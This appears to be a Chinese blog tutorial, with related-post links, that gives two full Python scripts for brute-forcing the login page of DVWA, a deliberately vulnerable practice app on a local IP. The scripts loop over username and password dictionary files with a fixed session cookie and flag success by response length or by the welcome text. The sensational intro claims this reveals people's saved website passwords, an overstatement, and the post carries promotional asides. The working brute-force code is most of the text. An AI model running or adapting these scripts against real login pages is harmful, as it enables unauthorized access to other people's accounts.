简简单单几行Python代码就能暴力破解网站登录密码,真有这么强吗?
前言
你以为你各大网站自动保存的密码都只有你自己知道吗?其实想要知道你在网站上面保存的密码非常简单,只需要几行代码就能搞定,不信?那就来看看吧
关键代码解释
url指定url地址
url = "http://192.168.171.2/dvwa/vulnerabilities/brute/"
header设置请求头
header = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0',
'Cookie':'security=medium; PHPSESSID=geo7gb3ehf5gfnbhrvuqu545i7'
}
payload设置请求参数
payload = {'username':username,'password':password,"Login":'Login'}
这一行的作用是作一次get请求,响应信息被变量Response接收
Response = requests.get(url,params=payload,headers=header)
这两行代码循环遍历账号和密码字典文件,之后给他们做笛卡尔积循环暴力破解
这种方式和burp的Intruder模块的Cluster bomb攻击方式一样
for admin in open("C:\\Users\\admin\\Documents\\字典\\账号.txt"):
for line in open("C:\\Users\\admin\\Documents\\字典\\密码.txt"):
然后把循环结果存放到csv文件里,用逗号分割数据
Response.status_code是响应的http状态码,len(Response.content)是http响应报文的长度
result = str(Response.status_code) + ',' + username + ','\
+ password + ',' + str(len(Response.content))
f.write(result + '\n')
完整代码
方法一
登陆成功的和失败返回数据不同,所以数据包长度也不同。包长度与其他不同的数据,可能就是正确的账号密码。
import requests
url = "http://192.168.171.2/dvwa/vulnerabilities/brute/"
#proxies= {"http":"http://127.0.0.1:8080"} #代理设置,方便burp抓包查看
header = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0',
'Cookie':'security=medium; PHPSESSID=bdi0ak5mqbud69nrnejgf8q00u'
}
f = open('result.csv','w')
f.write('状态码' + ',' + '用户名' + ',' + '密码' + ',' + '包长度' + '\n')
for admin in open("C:\\Users\\admin\\Documents\\字典\\账号.txt"):
for line in open("C:\\Users\\admin\\Documents\\字典\\密码.txt"):
username = admin.strip()
password = line.strip()
payload = {'username':username,'password':password,"Login":'Login'}
Response = requests.get(url,params=payload,headers=header)
result = str(Response.status_code) + ',' + username + ','\
+ password + ',' + str(len(Response.content))
f.write(result + '\n')
print('\n完成')
运行结果
运行
这就是脚本发送的数据包
查看结果
查看包长度与其他不同的数据,登录测试
方法二
这个方法是根据登陆成功的返回特征来判断是否为正确的账号密码,然后把正确的账号密码输出到屏幕和txt文件里。另外,搜索公众号Java架构师技术后台回复“面试题”,获取一份惊喜礼包。
主要改动在第17到20行
import requests
url = "http://192.168.171.2/dvwa/vulnerabilities/brute/"
#proxies= {"http":"http://127.0.0.1:8080"} #代理设置,方便burp抓包查看
header = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0',
'Cookie':'security=medium; PHPSESSID=bdi0ak5mqbud69nrnejgf8q00u'
}
f = open('result.txt','w')
for admin in open("C:\\Users\\admin\\Documents\\字典\\账号.txt"):
for line in open("C:\\Users\\admin\\Documents\\字典\\密码.txt"):
username = admin.strip()
password = line.strip()
payload = {'username':username,'password':password,"Login":'Login'}
Response = requests.get(url,params=payload,headers=header)
if not(Response.text.find('Welcome to the password protected area')==-1):
result = username + ':' + password
print(result)
f.write(result + '\n')
print('\n完成')
运行结果
这不就到手了吗?需要完整项目代码或思路的点这里获取
简简单单几行Python代码就能暴力破解网站登录密码,真有这么强吗?相关推荐
- Python暴力破解网站登录密码脚本
测试靶机为DVWA,适合DVWA暴力破解模块的Low和Medium等级 关键代码解释 url指定url地址 url = "http://192.168.171.2/dvwa/vulnerab ...
- Python破解网站登录密码脚本
这篇文章主要为大家介绍一个简单的Python暴力破解网站登录密码脚本,文中的过程讲解详细,对我们学习Python有一定的帮助,感兴趣的可以学习一下.编程学习资料点击领取 目录 测试靶机为DVWA,适合 ...
- Python黑科技:暴力破解你的密码
Python黑科技:暴力破解你的密码 今天呢,给大家带来一个Python的暴力破解加密的压缩文件的方法~ (是不是压缩文件不重要). 另外你会不会Python也不重要 首先,我们得说一下,如何打开一个 ...
- 20行Python代码爬取下载应用宝所有APP软件!太强了啊
前言 本文的文字及图片来源于网络,仅供学习.交流使用,不具有任何商业用途,如有问题请及时联系我们以作处理. 基本环境配置 python 3.6 pycharm requests parsel 打开开发 ...
- 巧用10行python 代码让JMETER实现动态验证码登录
一.第三方工具准备 1.准备python 环境 2.使用:使用第三方库Python免费验证码识别之ddddocr识别OCR自动库实现 3.安装方法:镜像:pip install ddddocr -i ...
- Python脚本猜解网站登录密码(带token验证)
目录: 关键代码解释 设置请求头 get_token函数获取token值 完整代码: 运行结果: 上一篇文章:一个简单的Python暴力破解网站登录密码脚本 测试靶机为Pikachu漏洞练习平台暴力破 ...
- 10行 python 代码做出哪些酷炫的事情?
来源 | Python小二 Python凭借其简洁的代码,赢得了许多开发者的喜爱.因此也就促使了更多开发者用Python开发新的模块,从而形成良性循环,Python可以凭借更加简短的代码实现许多有趣的 ...
- 几行 Python 代码实现邮件解析,超赞~
作者 | Yunlor 来源 | CSDN博客 前言 如何通过python实现邮件解析?邮件的格式十分复杂,主要是mime协议,本文主要是从实现出发,具体原理可以自行研究. 一.安装 通过mailgu ...
- DeepMind提图像生成的递归神经网络DRAW,158行Python代码复现
作者 | Samuel Noriega 译者 | Freesia 编辑 | 夕颜 出品 | AI科技大本营(ID: rgznai100) [导读]最近,谷歌 DeepMInd 发表论文( DRAW: ...
- 7行Python代码,搭建可以识花的机器学习App|视频教程
你想学Python,却不知如何着手,那你需要一种更加有趣的学习方式. Siraj Raval是一位人工智能领域的编程高手,毕业于哥伦比亚大学,曾任职于 Twilio 和 Meetup,他通过制作教程类 ...
最新文章
- exception in thread main java.lang.noclassdeffounderror wrong name
- LVS、Nginx、HAproxy有什么区别?工作中你怎么选择?
- 【C语言】 Linux内核源码-- do...while(0)解析
- Fiori Launchpad server side config json
- 02.1-元素定位(find)
- 渐进式web应用程序_渐进式Web应用程序与加速的移动页面:有什么区别,哪种最适合您?
- 元素显示模式转换(HTML、CSS)
- POJ 3084 Panic Room (最小割建模)
- android输入法横向,Android输入法横向评测—手写输入篇
- java.lang.UnsupportedOperationException: Required method instantiateItem was not overridden
- C# 如何在PDF文档中根据关键字查找文本并给文本设置背景颜色
- contiki学习笔记(六)contiki程序加载器和多线程库
- intellij idea cpu占用率太大太满 运行速度太慢 使了五个解决方法最终成功
- html5拖放详解,HTML5拖拽/拖放(drag drop)详解
- 盘点2015年英特尔旧金山IDF峰会上的黑科技
- JavaScript 一些小妙用
- 第十二届noc网络机器人赛项成绩_我省在第十二届中小学NOC活动决赛中获佳绩
- Matlab中结构体Struct使用
- unity中Camera的Field of View 垂直FOV
- LinkedList的常用方法